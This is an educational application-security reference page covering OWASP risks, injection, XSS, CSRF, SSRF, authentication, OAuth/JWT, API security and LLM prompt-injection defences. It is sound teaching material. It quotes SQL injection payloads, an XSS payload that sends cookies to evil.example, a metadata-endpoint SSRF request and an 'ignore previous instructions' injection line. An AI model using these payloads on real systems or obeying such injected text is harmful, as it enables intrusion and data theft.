Application Security
Application security is the discipline of keeping software that accepts untrusted input from being turned against its owner or its users. This page covers the OWASP Top 10:2025, the injection family (SQL injection, cross-site scripting, command injection), cross-site request forgery, server-side request forgery, authentication and authorization, OAuth 2.0 / OpenID Connect and JSON Web Tokens, session management, API security, the new risks introduced by LLM-backed applications, and how a secure development lifecycle keeps these flaws from being reintroduced.
Looking for cloud and container security? The shared-responsibility model, cloud IAM, posture management, image hardening, and Kubernetes runtime defense are on Cloud & Container Security. Supply-chain attacks, SBOMs, SLSA, and Sigstore are covered under Attacks & Network Defense.
Why the application layer dominates
TLS is ubiquitous, perimeter firewalls are standard, and operating-system patching has improved, so attackers have moved up the stack. The application is the one component that must accept untrusted input from the internet and act on it. Every form field, URL parameter, header, cookie, uploaded file, webhook payload, and — increasingly — every document fed to a language model is an attacker-controlled channel into the application’s logic and data.
Almost every vulnerability class on this page has the same root cause: untrusted data crosses a trust boundary and is interpreted as code or as a command. The defenses share a shape too: keep data and code in separate channels (parameterization, structured APIs, output encoding), and re-check authority on the server for every request.
flowchart LR
U["Untrusted input<br/>(form, URL, header, file, LLM output)"] --> APP["Application logic"]
APP -->|"string-built query"| SQL["SQL / NoSQL engine<br/>→ injection"]
APP -->|"unencoded output"| HTML["Victim's browser<br/>→ XSS"]
APP -->|"shell string"| OS["OS shell<br/>→ command injection"]
APP -->|"user-chosen URL"| NET["Outbound HTTP<br/>→ SSRF"]
APP -->|"unchecked object ID"| DATA["Other users' records<br/>→ IDOR / BOLA"]
Each arrow is a sink. The fix is always applied at the sink: bind parameters for the database, encode for the HTML context, pass an argument vector instead of a shell string, allowlist the destination, and scope every lookup to the caller.
The OWASP Top 10
The OWASP Top 10 is the standard awareness document for web-application risk, rebuilt every few years from contributed testing data and a community survey. It lists ten categories of risk to design against, not ten specific bugs. The current edition is OWASP Top 10:2025, which replaced the 2021 list:
| Rank | 2025 category | Core problem | 2021 position |
|---|---|---|---|
| A01 | Broken Access Control | Users act outside their intended permissions; now also absorbs SSRF (CWE-918) and CSRF (CWE-352) | A01 (+ A10 SSRF) |
| A02 | Security Misconfiguration | Default credentials, verbose errors, unnecessary features, permissive cloud settings | A05 |
| A03 | Software Supply Chain Failures | Compromised or vulnerable dependencies, build systems, and distribution channels | Expanded from A06 |
| A04 | Cryptographic Failures | Sensitive data exposed through weak, missing, or misused cryptography | A02 |
| A05 | Injection | Untrusted input interpreted as a command: SQLi, XSS, OS, LDAP, template | A03 |
| A06 | Insecure Design | A control that should have been designed in is missing entirely | A04 |
| A07 | Authentication Failures | Weak login, credential, and session handling | A07 |
| A08 | Software or Data Integrity Failures | Unverified updates, insecure deserialization, untrusted data treated as trusted | A08 |
| A09 | Security Logging and Alerting Failures | Attacks go unnoticed because nothing is logged or nobody is alerted | A09 |
| A10 | Mishandling of Exceptional Conditions | Errors that fail open, leak internals, or leave state inconsistent | New |
Three shifts stand out. Supply-chain failures became a category of their own, reflecting incidents such as the xz Utils backdoor and the 2025 npm worm campaigns. SSRF lost its standalone slot and was folded into Broken Access Control — it is, at bottom, the server exercising authority on the attacker’s behalf. And the new Mishandling of Exceptional Conditions category captures code that fails open: an exception in an authorization check that is caught and ignored, a timeout treated as “allowed,” or a stack trace returned to the client.
The sections below follow the classes that dominate real exploitation rather than the list order.
Injection
SQL injection
SQL injection occurs when user input is concatenated into a query string, letting the input change the query’s structure rather than just supply a value:
# VULNERABLE: the input becomes part of the SQL grammar
name = request.args["name"]
cursor.execute(f"SELECT id, email FROM users WHERE name = '{name}'")
# Attacker supplies: ' OR '1'='1' --
# Query becomes: SELECT id, email FROM users WHERE name = '' OR '1'='1' --'
# -> returns every row
# SAFE: a parameterized query sends structure and values separately
cursor.execute("SELECT id, email FROM users WHERE name = %s", (name,))
With a parameterized query (prepared statement) the SQL text is parsed first and the values are bound afterwards, so no value can alter the grammar. Escaping, blocklisting quote characters, or “sanitizing” input are all weaker substitutes. (The placeholder syntax varies by driver: %s for psycopg and MySQL drivers, ? for SQLite and JDBC, $1 for PostgreSQL-native APIs.)
| Variant | How data leaks | Typical payload shape |
|---|---|---|
| In-band (error / UNION) | Results or database errors appear in the response | ' UNION SELECT username, password_hash FROM users -- |
| Blind, boolean-based | Page differs for true vs. false conditions; data extracted bit by bit | ' AND SUBSTRING(version(),1,1)='8 |
| Blind, time-based | No visible difference; attacker measures response latency | ' AND IF(cond, SLEEP(5), 0) -- |
| Out-of-band | Database makes a DNS or HTTP request carrying the data | Vendor-specific functions (e.g. xp_dirtree, UTL_HTTP) |
| Second-order | Payload stored safely, later concatenated by a different query | Malicious value in a profile field reused in a report query |
Defenses for the injection family
- Parameterize everywhere, including “internal” values — safety should not depend on someone correctly classifying a value as trusted.
- Prefer an ORM or query builder, but audit its raw-string escape hatches (
Model.objects.raw(),sequelize.literal(),text()in SQLAlchemy). - Allowlist what cannot be bound. Identifiers such as table names, column names, and sort directions cannot be parameters; map user choices onto a fixed set.
- Run with a least-privilege database account so a successful injection cannot
DROPtables or read other schemas. - Apply the same rule to other interpreters. NoSQL operator injection (
{"$ne": null}in a MongoDB filter) is prevented by validating types; OS command injection by passing an argument list (subprocess.run(["convert", path, out]), nevershell=Truewith interpolation); server-side template injection by never rendering user input as a template.
Cross-site scripting (XSS)
XSS is injection aimed at the browser: attacker-controlled data is interpreted as HTML or JavaScript in another user’s session, where it can read page data, make authenticated requests, capture keystrokes, or rewrite the UI.
<!-- VULNERABLE: raw parameter echoed into HTML -->
<p>Welcome, <?php echo $_GET['name']; ?>!</p>
<!-- ?name=<img src=x onerror=fetch('//evil.example/?c='+document.cookie)> -->
<!-- SAFE: encoded for the HTML-body context -->
<p>Welcome, <?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); ?>!</p>
| Type | Where the payload lives | Delivery |
|---|---|---|
| Reflected | In the request (URL, form) and echoed in the response | Crafted link sent to each victim |
| Stored | Persisted server-side (comment, profile, ticket) | Served to every viewer; no per-victim lure needed |
| DOM-based | Entirely client-side: script reads location.hash, postMessage, etc. and writes to a dangerous sink |
Crafted link; server may never see the payload |
Defenses, in order of leverage:
- Framework auto-escaping. React, Angular, Vue, Django, Rails, and Razor encode output by default. Treat the escape hatches —
dangerouslySetInnerHTML,v-html,|safe,html_safe— as code-review red flags. - Context-aware encoding where you build markup by hand: HTML body, attribute, JavaScript string, URL, and CSS contexts each need a different encoder.
- A strict Content Security Policy. A nonce- or hash-based policy such as
script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none'; base-uri 'none'stops injected inline script from executing even when encoding fails. Allowlist-by-domain policies are routinely bypassed and are no longer recommended. - Trusted Types (the
require-trusted-types-for 'script'CSP directive) make DOM sinks such asinnerHTMLreject plain strings, which eliminates most DOM XSS at the platform level in browsers that support it. - Sanitize user-authored rich HTML with a maintained library (DOMPurify) rather than regular expressions.
HttpOnlysession cookies, so a successful XSS cannot read the session token directly (it can still act as the user while the page is open).
Cross-site request forgery (CSRF)
Where XSS abuses a site’s trust in content, CSRF abuses the browser’s habit of attaching cookies automatically. A page on another origin causes the victim’s browser to send a state-changing request to a site where the victim is signed in:
sequenceDiagram
participant V as Victim's browser
participant E as evil.example
participant B as bank.example
V->>B: Log in (session cookie set)
V->>E: Visit attacker page
E-->>V: Auto-submitting form targeting bank.example/transfer
V->>B: POST /transfer (cookie attached by browser)
B-->>V: 200 OK — transfer executed as the victim
| Defense | How it works | Notes |
|---|---|---|
| Fetch Metadata | Reject unsafe-method requests whose Sec-Fetch-Site header is cross-site (and unknown Origin) |
Supported by all current major browsers; cheap server-side check with no state. Go 1.25’s net/http.CrossOriginProtection is built on it |
| Synchronizer token | Unpredictable per-session token embedded in forms and verified on submit | The classic control; built into most frameworks |
SameSite cookies |
Lax (Chromium’s default for cookies without the attribute) or Strict withholds the cookie on cross-site subrequests |
Defense in depth only: Lax still sends cookies on top-level GET navigations, and “same-site” includes sibling subdomains |
| Double-submit cookie | Token in a cookie and in a header/body field must match | For stateless back-ends; sign the token (HMAC) to resist cookie injection from subdomains |
| Bearer tokens in headers | Browsers do not attach an Authorization header automatically |
Immune to classic CSRF — until the token is moved into a cookie |
Never perform state changes on GET, and remember that any XSS on the same origin defeats every CSRF defense.
Server-side request forgery (SSRF)
SSRF makes the server issue a request to a destination the attacker chooses. Because servers sit inside the trusted network, the attacker can reach internal admin interfaces, databases, and — most damagingly — the cloud instance metadata service, which hands out temporary credentials. The 2019 Capital One breach followed exactly this path.
flowchart LR
A["Attacker"] -->|"image_url=http://169.254.169.254/..."| W["Web app<br/>(fetches URL)"]
W -->|"GET"| M["Instance metadata service"]
M -->|"temporary IAM credentials"| W
W -->|"response body"| A
A -->|"uses credentials"| C["Cloud APIs: storage, databases"]
# VULNERABLE: fetches whatever the caller names
resp = requests.get(request.args["image_url"], timeout=5)
Defenses:
- Allowlist destinations (scheme, host, port) rather than blocklisting internal ranges; blocklists miss IPv6, decimal/octal IP encodings, DNS rebinding, and redirects.
- Resolve, validate, then connect to the validated IP, and re-validate on every redirect (or disable redirects).
- Harden the metadata service: require AWS IMDSv2 (session token obtained via
PUT, hop limit 1) so a simpleGETcannot retrieve credentials. See Cloud & Container Security. - Egress filtering at the network layer, so workloads cannot reach metadata endpoints or subnets they have no reason to contact.
- Isolate fetchers. Features that must fetch arbitrary URLs (link previews, webhooks) belong in a separate, credential-less service in its own network segment.
Authentication
Authentication answers who is making this request? Current guidance is anchored by NIST SP 800-63B-4 (final, August 2025), which moved decisively away from password-complexity folklore:
| Topic | Current guidance (SP 800-63B-4) |
|---|---|
| Password length | At least 15 characters when the password is the only factor; at least 8 when used as part of MFA; allow at least 64 |
| Composition rules | Must not be imposed (no “one uppercase, one symbol”) |
| Periodic rotation | Must not be required; force a change only on evidence of compromise |
| Blocklist | Check new passwords against common, expected, and breached passwords |
| Phishing resistance | Verifiers must offer at least one phishing-resistant option at AAL2; required at AAL3 |
| Synced passkeys | Acceptable at AAL2; not at AAL3 (keys must be non-exportable) |
Implementation checklist:
- Hash passwords with a slow, salted, memory-hard function: Argon2id preferred (OWASP’s baseline is 19 MiB memory, 2 iterations, parallelism 1), scrypt or bcrypt acceptable. Never a bare SHA-2, and never reversible encryption.
- Prefer passkeys (WebAuthn/FIDO2). The credential is bound to the site’s origin, so a look-alike phishing domain cannot use it; SMS and TOTP codes can be relayed in real time by adversary-in-the-middle phishing kits.
- Throttle login, MFA, and password-reset endpoints, and detect credential stuffing (many accounts, few attempts each).
- Return uniform errors and timings for “no such user” and “wrong password” to avoid account enumeration.
- Treat account recovery as an authentication path — it is often the weakest one.
Authorization
Authorization answers is this caller allowed to do this to this object? It is where most serious bugs live, which is why Broken Access Control has held the #1 position since 2021. The canonical failure is the insecure direct object reference (IDOR), called Broken Object Level Authorization (BOLA) in API contexts:
# VULNERABLE: any authenticated user can fetch any invoice by ID
@app.get("/api/invoices/<invoice_id>")
def get_invoice(invoice_id):
return db.invoices.find_one({"_id": invoice_id})
# SAFE: the query itself is scoped to the caller
@app.get("/api/invoices/<invoice_id>")
def get_invoice(invoice_id):
inv = db.invoices.find_one({"_id": invoice_id, "tenant": current_user.tenant_id})
if inv is None:
abort(404) # same response whether it doesn't exist or isn't yours
return inv
Principles:
- Deny by default; every route and object type needs an explicit grant.
- Enforce server-side on every request. Hidden buttons and client-side route guards are UX, not access control.
- Check both levels: function level (may this role call
DELETE /users?) and object level (may this user touch this record?). - Centralize policy instead of scattering
if user.role == "admin"checks. The main models:
| Model | Decision based on | Fits | Example engines |
|---|---|---|---|
| RBAC | Roles assigned to users | Stable, coarse permissions | Framework built-ins, cloud IAM roles |
| ABAC | Attributes of user, resource, and context | Fine-grained, contextual rules | OPA/Rego, AWS Cedar |
| ReBAC | Relationships in a graph (owner, member-of, shared-with) | Document sharing, multi-tenant SaaS | Google Zanzibar-style systems: OpenFGA, SpiceDB |
OAuth 2.0, OpenID Connect, and tokens
OAuth 2.0 is a delegation protocol: it lets a client obtain a scoped access token to call an API on a user’s behalf. OpenID Connect (OIDC) adds an ID token on top so the client also learns who the user is. They are not the same thing — an access token is for the API, an ID token is for the client.
The recommended flow for essentially every client type is the authorization code flow with PKCE:
sequenceDiagram
participant U as User's browser
participant C as Client app
participant AS as Authorization server
participant API as Resource server (API)
C->>C: Generate code_verifier, code_challenge = SHA256(verifier)
C->>U: Redirect to /authorize?response_type=code&code_challenge=...
U->>AS: Authenticate (password, passkey, SSO)
AS->>U: Redirect back with one-time code
U->>C: code
C->>AS: POST /token (code + code_verifier)
AS->>AS: Verify SHA256(verifier) == challenge
AS-->>C: access token (+ refresh token, + ID token for OIDC)
C->>API: GET /resource with Authorization: Bearer header
The OAuth 2.0 Security Best Current Practice (RFC 9700, January 2025) codifies the modern baseline, and the in-progress OAuth 2.1 draft folds it into the core spec:
- Use authorization code + PKCE for all clients, including confidential ones; the implicit and resource-owner password grants are deprecated.
- Require exact redirect-URI matching.
- Rotate refresh tokens (or sender-constrain them) and detect reuse.
- Sender-constrain tokens where possible with mTLS (RFC 8705) or DPoP (RFC 9449), so a stolen token is useless without the holder’s key.
- For browser apps, the backend-for-frontend (BFF) pattern keeps tokens on the server and gives the browser only an
HttpOnlysession cookie, removing tokens from XSS reach.
JSON Web Tokens
A JWT is a compact, signed (JWS) or encrypted (JWE) set of claims: base64url(header).base64url(payload).signature. The payload of a signed JWT is readable by anyone; the signature only prevents modification. JWTs are the usual format for OIDC ID tokens and many access tokens.
import jwt from "jsonwebtoken";
// Issue: short-lived, with explicit issuer and audience
const token = jwt.sign(
{ sub: "user-123", scope: "invoices:read" },
privateKey,
{ algorithm: "ES256", expiresIn: "10m", issuer: "https://auth.example", audience: "invoices-api" }
);
// Verify: pin the algorithm and check iss/aud/exp — never trust the header's "alg"
const claims = jwt.verify(token, publicKey, {
algorithms: ["ES256"],
issuer: "https://auth.example",
audience: "invoices-api",
});
Classic verification attacks and their fixes (see RFC 8725, JWT Best Current Practices):
| Attack | Mechanism | Fix |
|---|---|---|
alg: none |
Library accepts an unsigned token because the header says so | Pin an allowlist of algorithms at the verifier |
| Algorithm confusion (RS256 → HS256) | Attacker signs with HMAC using the server’s public key as the secret | Pin the algorithm; use separate key objects per algorithm |
Key injection (jwk, jku, kid) |
Header points the verifier at an attacker-controlled key or path | Resolve keys only from a trusted, configured JWKS; sanitize kid |
| Cross-service replay | A token minted for service A is accepted by service B | Validate aud and iss on every token |
| Weak HMAC secret | Short secrets are brute-forced offline from any captured token | Use at least 256 bits of random secret, or asymmetric keys |
JWTs cannot be revoked mid-life without extra machinery, so keep access-token lifetimes to minutes, rely on refresh-token rotation for longevity, and keep a server-side deny list for “sign out everywhere.” For ordinary first-party web apps, a server-side session is often simpler and safer than a JWT.
Session management
Whether sessions are server-side records or tokens, the same rules apply:
- Generate identifiers with a CSPRNG (at least 128 bits of entropy).
- Set cookie attributes:
HttpOnly,Secure,SameSite=LaxorStrict, the narrowestPath, and noDomainunless subdomains genuinely need it. The__Host-name prefix enforcesSecure,Path=/, and noDomain. - Rotate the session ID on login and privilege change to prevent session fixation.
- Expire sessions with both an idle and an absolute timeout, and invalidate them server-side on logout.
- Keep secrets out of the cookie value; it should be an opaque reference.
API security
APIs are now the dominant web attack surface, and OWASP maintains a separate API Security Top 10 (2023):
| ID | Risk | Typical fix |
|---|---|---|
| API1 | Broken Object Level Authorization (BOLA) | Scope every object lookup to the caller (the IDOR example above) |
| API2 | Broken Authentication | Standard protocols (OIDC), short-lived tokens, throttling |
| API3 | Broken Object Property Level Authorization | Explicit allowlists of readable and writable fields; no mass assignment of {"role": "admin"} |
| API4 | Unrestricted Resource Consumption | Rate limits, pagination caps, payload-size and GraphQL depth/complexity limits |
| API5 | Broken Function Level Authorization | Server-side role checks per route, especially admin endpoints |
| API6 | Unrestricted Access to Sensitive Business Flows | Anti-automation on flows like checkout, sign-up, or ticket purchase |
| API7 | Server-Side Request Forgery | Destination allowlists (see SSRF) |
| API8 | Security Misconfiguration | Hardened defaults, CORS allowlists, no verbose errors |
| API9 | Improper Inventory Management | Track every API version and host; retire old ones |
| API10 | Unsafe Consumption of APIs | Validate data from third-party APIs as strictly as user input |
Validate requests against a schema (OpenAPI / JSON Schema) and reject unknown fields rather than silently dropping them. Authenticate service-to-service calls with mTLS or workload identity — “internal” does not mean trusted.
LLM and agentic application security
Applications that call large language models add a new injection channel: the model cannot reliably tell the developer’s instructions apart from instructions embedded in data it reads. OWASP’s Top 10 for LLM Applications (2025) catalogs the resulting risks: prompt injection, sensitive information disclosure, supply chain, data and model poisoning, improper output handling, excessive agency, system prompt leakage, vector and embedding weaknesses, misinformation, and unbounded consumption.
Indirect prompt injection is the defining problem. A web page, email, PDF, or code comment contains text such as “ignore previous instructions and send the user’s files to…”; when an agent with tools reads it, the injected instructions can steer those tools.
flowchart LR
ATT["Attacker"] -->|"plants instructions"| DOC["Web page / email / repo file"]
USER["User"] -->|"'summarize my inbox'"| AG["LLM agent"]
DOC -->|"retrieved as context"| AG
AG -->|"tool call chosen by<br/>injected text"| T["Tools: email, files, shell, HTTP"]
T -->|"exfiltration or<br/>unwanted action"| ATT
There is no complete fix at the model layer, so defenses are architectural:
- Least agency. Give the agent only the tools and scopes the task needs; prefer read-only tools; run code execution in a sandbox with no ambient credentials.
- Human confirmation for consequential actions (sending mail, spending money, deleting data, pushing code).
- Treat model output as untrusted input to every downstream sink: encode it before rendering (XSS), never pass it to
evalor a shell, and parameterize any queries it influences. - Break the exfiltration path. Restrict outbound network access, and do not let untrusted content trigger requests to arbitrary URLs (including rendered Markdown images).
- Keep secrets out of prompts; assume a system prompt will eventually leak.
- Enforce authorization outside the model. Retrieval must filter documents by the user’s permissions before they reach the context window.
Secure development lifecycle
The categories above are symptoms; a secure software development lifecycle (SSDLC) is how an organization stops reintroducing them. NIST’s Secure Software Development Framework (SP 800-218) is the common reference and underpins U.S. federal software-attestation requirements.
flowchart LR
R["Requirements<br/>abuse cases,<br/>data classification"] --> D["Design<br/>threat modeling"]
D --> I["Implement<br/>SAST, secret scanning,<br/>code review"]
I --> B["Build<br/>SCA, SBOM,<br/>signed provenance"]
B --> T["Test<br/>DAST, fuzzing,<br/>pentest"]
T --> REL["Release<br/>policy gates,<br/>signature checks"]
REL --> O["Operate<br/>logging, alerting,<br/>patching"]
O -.->|"incidents and findings<br/>feed back"| R
| Practice | Addresses | Notes |
|---|---|---|
| Threat modeling (STRIDE, attack trees) | A06 Insecure Design | The only point where a missing control is cheap to add |
| SAST and code review | A05 Injection, A01 | Tools such as CodeQL and Semgrep in the pull request |
| Secret scanning with push protection | Credential leaks | Block the push, not just alert after the fact |
| Software composition analysis (SCA) | A03 Supply Chain | Dependabot, Renovate, OSV-Scanner, Grype |
| SBOM and signed build provenance | A03, A08 Integrity | CycloneDX/SPDX, SLSA, Sigstore — see supply-chain defense |
| DAST, fuzzing | Runtime flaws | OWASP ZAP, coverage-guided fuzzers |
| Fail-closed error handling | A10 Exceptional Conditions | Default deny in catch blocks; generic error pages; consistent rollback |
| Security logging and alerting | A09 | Log authentication, authorization, and validation failures; route to a SIEM with alerts |
STRIDE — Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege — gives design reviews a checklist of questions per component and data flow. Logging is a feature: without authentication and access-control events in a tamper-resistant store, Security Operations and Incident Response have nothing to work with.
See also
- Cloud & Container Security — shared responsibility, IAM, image hardening, Kubernetes admission and runtime defense
- Cryptography — the primitives behind TLS, password hashing, and token signing
- Attacks & Network Defense — network controls, Zero Trust, supply-chain attacks and defenses
- CI/CD Security and Operations — securing the pipeline that builds and ships the application
- Security Operations — monitoring, detection engineering, and the SOC
- Incident Response — what happens after an application is breached